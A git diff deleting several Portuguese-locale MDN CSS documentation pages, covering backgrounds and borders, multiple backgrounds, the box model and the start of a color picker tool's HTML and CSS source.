- <li>{{cssxref("background-color")}}</li>
- <li>{{cssxref("background-image")}}</li>
- <li>{{cssxref("background-origin")}}</li>
- <li>{{cssxref("background-position")}}</li>
- <li>{{cssxref("background-repeat")}}</li>
- <li>{{cssxref("background-size")}}</li>
- <li>{{cssxref("box-shadow")}}</li>
- <li>{{cssxref("border")}}</li>
- <li>{{cssxref("border-bottom")}}</li>
- <li>{{cssxref("border-bottom-color")}}</li>
- <li>{{cssxref("border-bottom-left-radius")}}</li>
- <li>{{cssxref("border-bottom-right-radius")}}</li>
- <li>{{cssxref("border-bottom-style")}}</li>
- <li>{{cssxref("border-bottom-width")}}</li>
- <li>{{cssxref("border-collapse")}}</li>
- <li>{{cssxref("border-color")}}</li>
- <li>{{cssxref("border-image")}}</li>
- <li>{{cssxref("border-image-outset")}}</li>
- <li>{{cssxref("border-image-repeat")}}</li>
- <li>{{cssxref("border-image-slice")}}</li>
- <li>{{cssxref("border-image-source")}}</li>
- <li>{{cssxref("border-image-width")}}</li>
- <li>{{cssxref("border-left")}}</li>
- <li>{{cssxref("border-left-color")}}</li>
- <li>{{cssxref("border-left-style")}}</li>
- <li>{{cssxref("border-left-width")}}</li>
- <li>{{cssxref("border-radius")}}</li>
- <li>{{cssxref("border-right")}}</li>
- <li>{{cssxref("border-right-color")}}</li>
- <li>{{cssxref("border-right-style")}}</li>
- <li>{{cssxref("border-right-width")}}</li>
- <li>{{cssxref("border-style")}}</li>
- <li>{{cssxref("border-top")}}</li>
- <li>{{cssxref("border-top-color")}}</li>
- <li>{{cssxref("border-top-left-radius")}}</li>
- <li>{{cssxref("border-top-right-radius")}}</li>
- <li>{{cssxref("border-top-style")}}</li>
- <li>{{cssxref("border-top-width")}}</li>
- <li>{{cssxref("border-width")}}</li>
-</ul>
-</div>
-
-<h2 id="Guides">Guides</h2>
-
-<dl>
- <dt><a href="/en-US/docs/Web/CSS/CSS_Background_and_Borders/Using_CSS_multiple_backgrounds">Using CSS multiple backgrounds</a></dt>
- <dd>Explains how to set backgrounds on elements and how they will interact with it.</dd>
- <dt><a href="/en-US/docs/Web/CSS/CSS_Background_and_Borders/Scaling_background_images">Scaling background images</a></dt>
- <dd>Describes how to change the appearance of the background images, by stretching them or repeating them, to cover the whole background of the element, or not.</dd>
-</dl>
-
-<h2 id="Specifications">Specifications</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Specification</th>
- <th scope="col">Status</th>
- <th scope="col">Comment</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{ SpecName('CSS3 Backgrounds') }}</td>
- <td>{{ Spec2('CSS3 Backgrounds') }}</td>
- <td> </td>
- </tr>
- <tr>
- <td>{{SpecName('CSS2.1', 'box.html')}}</td>
- <td>{{Spec2('CSS2.1')}}</td>
- <td> </td>
- </tr>
- <tr>
- <td>{{SpecName('CSS1', '#border')}}</td>
- <td>{{Spec2('CSS1')}}</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Browser_compatibility">Browser compatibility</h2>
-
-<p>{{CompatibilityTable()}}</p>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>1.0</td>
- <td>{{CompatGeckoDesktop("1.0")}}</td>
- <td>4.0</td>
- <td>3.5</td>
- <td>1.0 (85)</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Android</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Phone</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>{{CompatVersionUnknown()}}</td>
- <td>{{CompatGeckoMobile("1.9.2")}}</td>
- <td>{{CompatVersionUnknown()}}</td>
- <td>{{CompatVersionUnknown()}}</td>
- <td>1.0</td>
- </tr>
- </tbody>
-</table>
-</div>
diff --git a/files/pt-pt/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html b/files/pt-pt/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html
deleted file mode 100644
index 50c7a79499..0000000000
--- a/files/pt-pt/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html
+++ /dev/null
@@ -1,59 +0,0 @@
----
-title: Utilização de múltiplos fundos em CSS
-slug: Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds
-tags:
- - CSS
- - CSS Background
- - Example
- - Guide
- - Intermediate
-translation_of: Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds
-translation_of_original: Web/CSS/CSS_Background_and_Borders/Using_CSS_multiple_backgrounds
-original_slug: Web/CSS/CSS_Background_and_Borders/Múltiplos_planos_de_fundo
----
-<p>{{CSSRef}}</p>
-
-<p>Com <span class="seoSummary"><a href="https://developer.mozilla.org/en/CSS/CSS3" title="CSS3">CSS3 </a></span>pode aplicar <strong>múltiplos fundos</strong> aos elementos. Estes são colocados um sobre o outro, com o primeiro fundo fornecido no topo e o último fundo listado por trás. Só o último fundo pode incluir uma cor de fundo:</p>
-
-<p>É fácil especificar múltiplos fundos:</p>
-
-<pre class="brush: css">.myclass {
-  background: background1, background 2, ..., backgroundN;
-}
-</pre>
-
-<p>Você pode fazer isto com o apanhado da propriedade {{ cssxref("background") }} e das sub-propriedades desta: {{ cssxref("background") }}, {{ cssxref("background-attachment") }}, {{ cssxref("background-clip") }},<code> </code>{{ cssxref("background-image") }}, {{ cssxref("background-origin") }}, {{ cssxref("background-position") }}, {{ cssxref("background-repeat") }}, {{ cssxref("background-size") }}.</p>
-
-<h2 id="Exemplo">Exemplo</h2>
-
-<p>Neste exemplo, três fundos são empilhados: a logo do Firefox, um <a href="/en/CSS/-moz-linear-gradient" title="en/CSS/-moz-linear-gradient">gradiente linear</a> (en) e uma imagem com flores:</p>
-
-<pre class="brush: css">.multi_bg_example {
- background: url(http://demos.hacks.mozilla.org/openweb/resources/images/logos/firefox-48.png),
-        -moz-linear-gradient(left, rgba(255, 255, 255, 0), rgba(255, 255, 255, 1)),
-        url(http://demos.hacks.mozilla.org/openweb/resources/images/patterns/flowers-pattern.jpg);
- background-repeat: no-repeat, no-repeat, repeat;
- background-position: bottom right, left, right;
-}
-</pre>
-
-<table class="standard-table" style="width: 450px;">
- <tbody>
- <tr>
- <td class="header">Foto</td>
- <td class="header">Demonstração ao vivo</td>
- </tr>
- <tr>
- <td><img alt="css_multibg.png" class="default internal" src="/@api/deki/files/4028/=css_multibg.png"></td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<p>Como pode ver aqui, o logótipo do Firefox (listado primeiro) está no topo, seguida pelo gradiente, que está uma camada acima do fundo florido. Cada sub-propriedade ({{ cssxref("background-repeat") }} e {{ cssxref("background-position") }}) subsequentes aplicam-se aos fundos correspondentes. Dessa forma, o primeiro valor listado para {{ cssxref("background-repeat") }} aplica-se ao primeiro fundo (mais a frente), e assim por diante.</p>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li><a href="/en/Using_gradients" title="en/Using gradients">Utilizar gradients de CSS</a></li>
-</ul>
diff --git a/files/pt-pt/web/css/css_box_model/index.html b/files/pt-pt/web/css/css_box_model/index.html
deleted file mode 100644
index cb4dd91343..0000000000
--- a/files/pt-pt/web/css/css_box_model/index.html
+++ /dev/null
@@ -1,167 +0,0 @@
----
-title: CSS Box Model
-slug: Web/CSS/CSS_Box_Model
-tags:
- - CSS
- - CSS Box Model
- - CSS Reference
- - NeedsTranslation
- - Overview
- - TopicStub
-translation_of: Web/CSS/CSS_Box_Model
----
-<div>{{CSSRef}}</div>
-
-<p><strong>CSS Box Model</strong> is a CSS module that defines the rectangular boxes, including their padding and margin, that are generated for elements and laid out according to the visual formatting model.</p>
-
-<h2 id="Reference">Reference</h2>
-
-<h3 id="Properties">Properties</h3>
-
-<h4 id="Properties_controlling_the_flow_of_content_in_a_box">Properties controlling the flow of content in a box</h4>
-
-<div class="index">
-<ul>
- <li>{{cssxref("box-decoration-break")}}</li>
- <li>{{cssxref("box-sizing")}}</li>
- <li>{{cssxref("overflow")}}</li>
- <li>{{cssxref("overflow-x")}}</li>
- <li>{{cssxref("overflow-y")}}</li>
-</ul>
-</div>
-
-<h4 id="Properties_controlling_the_size_of_a_box">Properties controlling the size of a box</h4>
-
-<div class="index">
-<ul>
- <li>{{cssxref("height")}}</li>
- <li>{{cssxref("width")}}</li>
- <li>{{cssxref("max-height")}}</li>
- <li>{{cssxref("max-width")}}</li>
- <li>{{cssxref("min-height")}}</li>
- <li>{{cssxref("min-width")}}</li>
-</ul>
-</div>
-
-<h4 id="Properties_controlling_the_margins_of_a_box">Properties controlling the margins of a box</h4>
-
-<div class="index">
-<ul>
- <li>{{cssxref("margin")}}</li>
- <li>{{cssxref("margin-bottom")}}</li>
- <li>{{cssxref("margin-left")}}</li>
- <li>{{cssxref("margin-right")}}</li>
- <li>{{cssxref("margin-top")}}</li>
-</ul>
-</div>
-
-<h4 id="Properties_controlling_the_paddings_of_a_box">Properties controlling the paddings of a box</h4>
-
-<div class="index">
-<ul>
- <li>{{cssxref("padding")}}</li>
- <li>{{cssxref("padding-bottom")}}</li>
- <li>{{cssxref("padding-left")}}</li>
- <li>{{cssxref("padding-right")}}</li>
- <li>{{cssxref("padding-top")}}</li>
-</ul>
-</div>
-
-<h4 id="Other_properties">Other properties</h4>
-
-<div class="index">
-<ul>
- <li>{{cssxref("box-shadow")}}</li>
- <li>{{cssxref("visibility")}}</li>
-</ul>
-</div>
-
-<h2 id="Guides_and_tools">Guides and tools</h2>
-
-<dl>
- <dt><a href="/en-US/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">Introduction to the CSS box model</a></dt>
- <dd>Explains one of the fundamental concept of CSS, the box model: describes the meaning of the margin, padding, as well as the different areas of a box.</dd>
- <dt><a href="/en-US/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing">Mastering margin collapsing</a></dt>
- <dd>In several cases, two adjacent margins are collapsed into one. This article describes when this is happening and how to control it.</dd>
- <dt><a href="/en-US/docs/Web/CSS/CSS_Box_Model/Box-shadow_generator">Box-shadow generator</a></dt>
- <dd>An interactive tool that allows to visually create shadows and to generate the needed syntax for the {{cssxref("box-shadow")}} property.</dd>
-</dl>
-
-<h2 id="Specifications">Specifications</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Specification</th>
- <th scope="col">Status</th>
- <th scope="col">Comment</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName("CSS3 Box")}}</td>
- <td>{{Spec2("CSS3 Box")}}</td>
- <td> </td>
- </tr>
- <tr>
- <td>{{SpecName("CSS2.1", "box.html")}}</td>
- <td>{{Spec2("CSS2.1")}}</td>
- <td> </td>
- </tr>
- <tr>
- <td>{{SpecName("CSS1")}}</td>
- <td>{{Spec2("CSS1")}}</td>
- <td>Initial definition</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Browser_compatibility">Browser compatibility</h2>
-
-<p>{{CompatibilityTable}}</p>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari (WebKit)</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>1.0</td>
- <td>{{CompatGeckoDesktop("1")}}</td>
- <td>3.0</td>
- <td>3.5</td>
- <td>1.0 (85)</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Android</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>1.0</td>
- <td>{{CompatGeckoMobile("1")}}</td>
- <td>6.0</td>
- <td>6.0</td>
- <td>1.0</td>
- </tr>
- </tbody>
-</table>
-</div>
diff --git a/files/pt-pt/web/css/css_box_model/introduction_to_the_css_box_model/index.html b/files/pt-pt/web/css/css_box_model/introduction_to_the_css_box_model/index.html
deleted file mode 100644
index b8496849df..0000000000
--- a/files/pt-pt/web/css/css_box_model/introduction_to_the_css_box_model/index.html
+++ /dev/null
@@ -1,70 +0,0 @@
----
-title: Introdução ao modelo de Caixa de CSS
-slug: Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model
-tags:
- - CSS
- - Modelo de Caixa de CSS
- - Principiante
- - Referencia
-translation_of: Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model
-original_slug: Web/CSS/CSS_Box_Model/Introducao_modelo_caixa_CSS
----
-<p>{{CSSRef}}</p>
-
-<h2 id="Resumo">Resumo</h2>
-
-<p>In a document, each element is represented as a rectangular box. Determining the size, properties — like its color, background, borders aspect — and the position of these boxes is the goal of the rendering engine.</p>
-
-<p>In CSS, each of these rectangular boxes is described using the standard <em>box model</em>. This model describes the space of the content taken by an element. Each box has four edges: the <strong>margin edge</strong>, <strong>border edge</strong>, <strong>padding edge</strong>, and <strong>content edge</strong>.</p>
-
-<p><img alt="CSS Box model" src="https://mdn.mozillademos.org/files/8685/boxmodel-(3).png" style="height: 384px; width: 548px;"></p>
-
-<p><a name="content-area"></a>The <strong>content area</strong> is the area containing the real content of the element. It often has a background, a color or an image (in that order, an opaque image hiding the background color) and is located inside the <em>content edge</em>; its dimensions are the <em>content width</em>, or <em>content-box width</em>, and the <em>content height</em>, or <em>content-box height</em>.</p>
-
-<p>If the CSS {{ cssxref("box-sizing") }} property is set to default, the CSS properties {{ cssxref("width") }}, {{ cssxref("min-width") }}, {{ cssxref("max-width") }}, {{ cssxref("height") }}, {{ cssxref("min-height") }} and {{ cssxref("max-height") }} control the content size.</p>
-
-<p><a name="padding-area"></a>The <strong>padding area</strong> extends to the border surrounding the padding. When the content area has a background, color, or image set on it, this will extend into the padding, which is why you can think of the padding as extending the content. The padding is located inside the <em>padding edge</em>, and its dimensions are the <em>padding-box width</em> and the <em>padding-box height</em>.</p>
-
-<p>The space between the padding and the content edge can be controlled using the {{ cssxref("padding-top") }}, {{ cssxref("padding-right") }}, {{ cssxref("padding-bottom") }}, {{ cssxref("padding-left") }} and the shorthand {{ cssxref("padding") }} CSS properties.</p>
-
-<p><a name="border-area"></a>The <strong>border area</strong> extends the padding area to the area containing the borders. It is the area inside the <em>border edge</em>, and its dimensions are the <em>border-box width</em> and the <em>border-box height</em>. This area depends on the size of the border that is defined by the {{ cssxref("border-width") }} property or the shorthand {{ cssxref("border") }}.</p>
-
-<p><a name="margin-area"></a>The <strong>margin area</strong> extends the border area with an empty area used to separate the element from its neighbors. It is the area inside the <em>margin edge</em>, and its dimensions are the <em>margin-box width </em>and the <em>margin-box height</em>.</p>
-
-<p>The size of the margin area is controlled using the {{ cssxref("margin-top") }}, {{ cssxref("margin-right") }}, {{ cssxref("margin-bottom") }}, {{ cssxref("margin-left") }} and the shorthand {{ cssxref("margin") }} CSS properties.</p>
-
-<p>When <a href="/en/CSS/margin_collapsing" title="en/CSS/margin_collapsing">margin collapsing</a> happens, the margin area is not clearly defined since margins are shared between boxes.</p>
-
-<p>Finally, note that, for non-replaced inline elements, the amount of space taken up (the contribution to the height of the line) is determined by the {{ cssxref('line-height') }} property, even though the border and padding appear visually around the content.</p>
-
-<h2 id="Especificação">Especificação</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Specification</th>
- <th scope="col">Status</th>
- <th scope="col">Comment</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{ SpecName("CSS2.1","box.html#box-dimensions")}}</td>
- <td>{{ Spec2('CSS2.1') }}</td>
- <td>Though more precisely worded, there is no practical change</td>
- </tr>
- <tr>
- <td>{{ SpecName("CSS1","#formatting-model")}}</td>
- <td>{{ Spec2('CSS1') }}</td>
- <td>Initial definition</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Consultar_também">Consultar também</h2>
-
-<ul>
- <li><a href="/pt-PT/docs/Web/CSS/Refer%C3%AAncia_CSS" title="CSS Reference">Referência CSS</a></li>
- <li>{{ CSS_key_concepts() }}</li>
- <li>Related CSS properties: {{ cssxref("box-sizing") }}, {{ cssxref("background-clip") }}, {{ cssxref("height") }}, {{ cssxref("max-height") }}, {{ cssxref("min-height") }}, {{ cssxref("width") }}, {{ cssxref("max-height") }}, {{ cssxref("min-height") }}, {{ cssxref("padding") }}, {{ cssxref("padding-top") }}, {{ cssxref("padding-right") }}, {{ cssxref("padding-bottom") }}, {{ cssxref("padding-left") }}, {{ cssxref("border") }}, {{ cssxref("border-top") }}, {{ cssxref("border-right") }}, {{ cssxref("border-bottom") }}, {{ cssxref("border-left") }}, {{ cssxref("border-width") }}, {{ cssxref("border-top-width") }}, {{ cssxref("border-right-width") }}, {{ cssxref("border-bottom-width") }}, {{ cssxref("border-left-width") }}, {{ cssxref("margin") }}, {{ cssxref("margin-top") }}, {{ cssxref("margin-right") }}, {{ cssxref("margin-bottom") }}, {{ cssxref("margin-left") }}</li>
-</ul>
diff --git a/files/pt-pt/web/css/css_colors/color_picker_tool/index.html b/files/pt-pt/web/css/css_colors/color_picker_tool/index.html
deleted file mode 100644
index 853610e804..0000000000
--- a/files/pt-pt/web/css/css_colors/color_picker_tool/index.html
+++ /dev/null
@@ -1,3244 +0,0 @@
----
-title: Ferramenta de seleção de cor
-slug: Web/CSS/CSS_Colors/Color_picker_tool
-tags:
- - CSS
- - Ferramentas
- - Seleção de cor
- - cor
-translation_of: Web/CSS/CSS_Colors/Color_picker_tool
-original_slug: Web/CSS/CSS_Colors/Ferramenta_selecao_cor
----
-<div class="hidden">
-<h2 id="ColorPicker_Tool" name="ColorPicker_Tool">ColorPicker tool</h2>
-
-<h3 id="HTML">HTML</h3>
-
-<pre class="brush: html">    &lt;div id="container"&gt;
-        &lt;div id="palette" class="block"&gt;
-            &lt;div id="color-palette"&gt;&lt;/div&gt;
-            &lt;div id="color-info"&gt;
-                &lt;div class="title"&gt; CSS Color &lt;/div&gt;
-            &lt;/div&gt;
-        &lt;/div&gt;
-
-        &lt;div id="picker" class="block"&gt;
-            &lt;div class="ui-color-picker" data-topic="picker" data-mode="HSL"&gt;&lt;/div&gt;
-            &lt;div id="picker-samples" sample-id="master"&gt;&lt;/div&gt;
-            &lt;div id="controls"&gt;
-                &lt;div id="delete"&gt;
-                    &lt;div id="trash-can"&gt;&lt;/div&gt;
-                &lt;/div&gt;
-                &lt;div id="void-sample" class="icon"&gt;&lt;/div&gt;
-            &lt;/div&gt;
-        &lt;/div&gt;
-
-        &lt;div id="canvas" data-tutorial="drop"&gt;
-            &lt;div id="zindex" class="ui-input-slider" data-topic="z-index" data-info="z-index"
-                data-max="20" data-sensivity="10"&gt;&lt;/div&gt;
-        &lt;/div&gt;
-    &lt;/div&gt;
-
-</pre>
-
-<h3 id="CSS">CSS</h3>
-
-<pre class="brush: css">/*
- * COLOR PICKER TOOL
- */
-
-.ui-color-picker {
- width: 420px;
- margin: 0;
- border: 1px solid #DDD;
- background-color: #FFF;
- display: table;
-
- -moz-user-select: none;
- -webkit-user-select: none;
- -ms-user-select: none;
- user-select: none;
-}
-
-.ui-color-picker .picking-area {
- width: 198px;
- height: 198px;
- margin: 5px;
- border: 1px solid #DDD;
- position: relative;
- float: left;
- display: table;
-}
-
-.ui-color-picker .picking-area:hover {
- cursor: default;
-}
-
-/* HSV format - Hue-Saturation-Value(Brightness) */
-.ui-color-picker .picking-area {
- background: url('https://mdn.mozillademos.org/files/5707/picker_mask_200.png') center center;
-
- background: -moz-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
- -moz-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
- background: -webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
- -webkit-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
- background: -ms-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
- -ms-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
- background: -o-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
- -o-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
-
- background-color: #F00;
-}
-
-/* HSL format - Hue-Saturation-Lightness */
-.ui-color-picker[data-mode='HSL'] .picking-area {
- background: -moz-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
- hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
- -moz-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
- background: -webkit-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
- hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
- -webkit-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
- background: -ms-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
- hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
- -ms-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
- background: -o-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
- hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
- -o-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
- background-color: #F00;
-}
-
-.ui-color-picker .picker {
- width: 10px;
- height: 10px;
- border-radius: 50%;
- border: 1px solid #FFF;
- position: absolute;
- top: 45%;
- left: 45%;
-}
-
-.ui-color-picker .picker:before {
- width: 8px;
- height: 8px;
- content: "";
- position: absolute;
- border: 1px solid #999;
- border-radius: 50%;
-}
-
-.ui-color-picker .hue,
-.ui-color-picker .alpha {
- width: 198px;
- height: 28px;
- margin: 5px;
- border: 1px solid #FFF;
- float: left;
-}
-
-.ui-color-picker .hue {
- background: url("https://mdn.mozillademos.org/files/5701/hue.png") center;
- background: -moz-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
- #00F 66.66%, #F0F 83.33%, #F00 100%);
- background: -webkit-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
- #00F 66.66%, #F0F 83.33%, #F00 100%);
- background: -ms-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
- #00F 66.66%, #F0F 83.33%, #F00 100%);
- background: -o-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
- #00F 66.66%, #F0F 83.33%, #F00 100%);
-}
-
-.ui-color-picker .alpha {
- border: 1px solid #CCC;
- background: url("https://mdn.mozillademos.org/files/5705/alpha.png");
-}
-
-.ui-color-picker .alpha-mask {
- width: 100%;
- height: 100%;
- background: url("https://mdn.mozillademos.org/files/6089/alpha_mask.png");
-}
-
-.ui-color-picker .slider-picker {
- width: 2px;
- height: 100%;
- border: 1px solid #777;
- background-color: #FFF;
- position: relative;
- top: -1px;
-}
-
-/* input HSV and RGB */
-
-.ui-color-picker .info {
- width: 200px;
- margin: 5px;
- float: left;
-}
-
-.ui-color-picker .info * {
- float: left;
-}
-
-.ui-color-picker .input {
- width: 64px;
- margin: 5px 2px;
- float: left;
-}
-
-.ui-color-picker .input .name {
- height: 20px;
- width: 30px;
- text-align: center;
- font-size: 14px;
- line-height: 18px;
- float: left;
-}
-
-.ui-color-picker .input input {
- width: 30px;
- height: 18px;
- margin: 0;
- padding: 0;
- border: 1px solid #DDD;
- text-align: center;
- float: right;
-
- -moz-user-select: text;
- -webkit-user-select: text;
- -ms-user-select: text;
-}
-
-.ui-color-picker .input[data-topic="lightness"] {
- display: none;
-}
-
-.ui-color-picker[data-mode='HSL'] .input[data-topic="value"] {
- display: none;
-}
-
-.ui-color-picker[data-mode='HSL'] .input[data-topic="lightness"] {
- display: block;
-}
-
-.ui-color-picker .input[data-topic="alpha"] {
- margin-top: 10px;
- width: 93px;
-}
-
-.ui-color-picker .input[data-topic="alpha"] &gt; .name {
- width: 60px;
-}
-
-.ui-color-picker .input[data-topic="alpha"] &gt; input {
- float: right;
-}
-
-.ui-color-picker .input[data-topic="hexa"] {
- width: auto;
- float: right;
- margin: 6px 8px 0 0;
-}
-
-.ui-color-picker .input[data-topic="hexa"] &gt; .name {
- display: none;
-}
-
-.ui-color-picker .input[data-topic="hexa"] &gt; input {
- width: 90px;
- height: 24px;
- padding: 2px 0;
- -moz-box-sizing: border-box;
- -webkit-box-sizing: border-box;
- box-sizing: border-box;
-}
-
-/* Preview color */
-.ui-color-picker .preview {
- width: 95px;
- height: 53px;
- margin: 5px;
- margin-top: 10px;
- border: 1px solid #DDD;
- background-image: url("https://mdn.mozillademos.org/files/5705/alpha.png");
- float: left;
- position: relative;
-}
-
-.ui-color-picker .preview:before {
- height: 100%;
- width: 50%;
- left: 50%;
- top: 0;
- content: "";
- background: #FFF;
- position: absolute;
- z-index: 1;
-}
-
-.ui-color-picker .preview-color {
- width: 100%;
- height: 100%;
- background-color: rgba(255, 0, 0, 0.5);
- position: absolute;
- z-index: 1;
-}
-
-.ui-color-picker .switch_mode {
- width: 10px;
- height: 20px;
- position: relative;
- border-radius: 5px 0 0 5px;
- border: 1px solid #DDD;
- background-color: #EEE;
- left: -12px;
- top: -1px;
- z-index: 1;
- transition: all 0.5s;
-}
-
-.ui-color-picker .switch_mode:hover {
- background-color: #CCC;
- cursor: pointer;
-}
-
-/*
- * UI Component
- */
-
-.ui-input-slider {
- height: 20px;
- font-family: "Segoe UI", Arial, Helvetica, sans-serif;
- -moz-user-select: none;
- user-select: none;
-}
-
-.ui-input-slider * {
- float: left;
- height: 100%;
- line-height: 100%;
-}
-
-/* Input Slider */
-
-.ui-input-slider &gt; input {
- margin: 0;
- padding: 0;
- width: 50px;
- text-align: center;
-
- -moz-box-sizing: border-box;
- -webkit-box-sizing: border-box;
- box-sizing: border-box;
-}
-
-.ui-input-slider-info {
- width: 90px;
- padding: 0px 10px 0px 0px;
- text-align: right;
- text-transform: lowercase;
-}
-
-.ui-input-slider-left, .ui-input-slider-right {
- width: 16px;
- cursor: pointer;
- background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat;
-}
-
-.ui-input-slider-right {
- background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat;
-}
-
-.ui-input-slider-name {
- width: 90px;
- padding: 0 10px 0 0;
- text-align: right;
- text-transform: lowercase;
-}
-
-.ui-input-slider-btn-set {
- width: 25px;
- background-color: #2C9FC9;
- border-radius: 5px;
- color: #FFF;
- font-weight: bold;
- line-height: 14px;
- text-align: center;
-}
-
-.ui-input-slider-btn-set:hover {
- background-color: #379B4A;
- cursor: pointer;
-}
-
-/*
- * COLOR PICKER TOOL
- */
-
-body {
- max-width: 1000px;
- margin: 0 auto;
-
- font-family: "Segoe UI", Arial, Helvetica, sans-serif;
-
- box-shadow: 0 0 5px 0 #999;
-
- -moz-box-sizing: border-box;
- -webkit-box-sizing: border-box;
- box-sizing: border-box;
-
- -moz-user-select: none;
- -webkit-user-select: none;
- -ms-user-select: none;
- user-select: none;
-
-}
-
-/**
- * Resize Handle
- */
-.resize-handle {
- width: 10px;
- height: 10px;
- background: url('https://mdn.mozillademos.org/files/6083/resize.png') center center no-repeat;
- position: absolute;
- bottom: 0;
- right: 0;
-}
-
-[data-resize='both']:hover {
- cursor: nw-resize !important;
-}
-
-[data-resize='width']:hover {
- cursor: w-resize !important;
-}
-
-[data-resize='height']:hover {
- cursor: n-resize !important;
-}
-
-[data-hidden='true'] {
- display: none;
-}
-
-[data-collapsed='true'] {
- height: 0 !important;
-}
-
-.block {
- display: table;
-}
-
-
-/**
- * Container
- */
-#container {
- width: 100%;
-
- -moz-box-sizing: border-box;
- -webkit-box-sizing: border-box;
- box-sizing: border-box;
-
- display: table;
-}
-
-/**
- * Picker Zone
- */
-
-#picker {
- padding: 10px;
- width: 980px;
-}
-
-.ui-color-picker {
- padding: 3px 5px;
- float: left;
- border-color: #FFF;
-}
-
-.ui-color-picker .switch_mode {
- display: none;
-}
-
-.ui-color-picker .preview-color:hover {
- cursor: move;
-}
-
-/**
- * Picker Container
- */
-
-#picker-samples {
- width: 375px;
- height: 114px;
- max-height: 218px;
- margin: 0 10px 0 30px;
- overflow: hidden;
- position: relative;
- float: left;
-
- transition: all 0.2s;
-}
-
-#picker-samples .sample {
- width: 40px;
- height: 40px;
- margin: 5px;
- border: 1px solid #DDD;
- position: absolute;
- float: left;
- transition: all 0.2s;
-}
-
-#picker-samples .sample:hover {
- cursor: pointer;
- border-color: #BBB;
- transform: scale(1.15);
- border-radius: 3px;
-}
-
-#picker-samples .sample[data-active='true'] {
- border-color: #999;
-}
-
-#picker-samples .sample[data-active='true']:after {
- content: "";
- position: absolute;
- background: url('https://mdn.mozillademos.org/files/6065/arrow.png') center no-repeat;
- width: 100%;
- height: 12px;
- top: -12px;
- z-index: 2;
-}
-
-#picker-samples #add-icon {
- width: 100%;
- height: 100%;
- position: relative;
- box-shadow: inset 0px 0px 2px 0px #DDD;
-}
-
-#picker-samples #add-icon:hover {
- cursor: pointer;
- border-color: #DDD;
- box-shadow: inset 0px 0px 5px 0px #CCC;
-}
-
